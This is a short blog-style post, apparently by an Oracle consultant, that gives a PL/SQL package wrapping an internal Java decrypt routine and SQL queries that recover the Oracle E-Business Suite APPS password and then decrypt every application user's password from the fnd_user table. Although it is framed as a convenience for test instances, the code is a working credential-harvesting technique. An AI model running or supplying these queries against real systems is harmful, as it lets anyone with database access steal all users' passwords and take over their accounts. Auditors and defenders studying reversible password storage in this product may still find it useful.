Oracle Apps User Password

Being an Oracle consultant, Sometimes you might need the Oracle Applications passwords having provided only the database access and you want to login through the common user credentials to check a few screens in a test instance.

Below is the simple way of executing a decrypt java function.

-- Package Spec

CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2;
END get_pwd;
/

-- Package Body

CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (
KEY IN VARCHAR2
,VALUE IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

/** Run Login Apps User on Toad/Oracle-- Will get apps password */
SELECT (SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
,1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')
- 1
)
FROM DUAL));

--Run this on toad will get all the usernames and passwords
SELECT usertable.user_name
, (SELECT get_pwd.decrypt (UPPER ((SELECT (SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)), usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
,1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/')
- 1
)
FROM DUAL))))
,usertable.encrypted_user_password)
FROM DUAL) AS encrypted_user_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&username');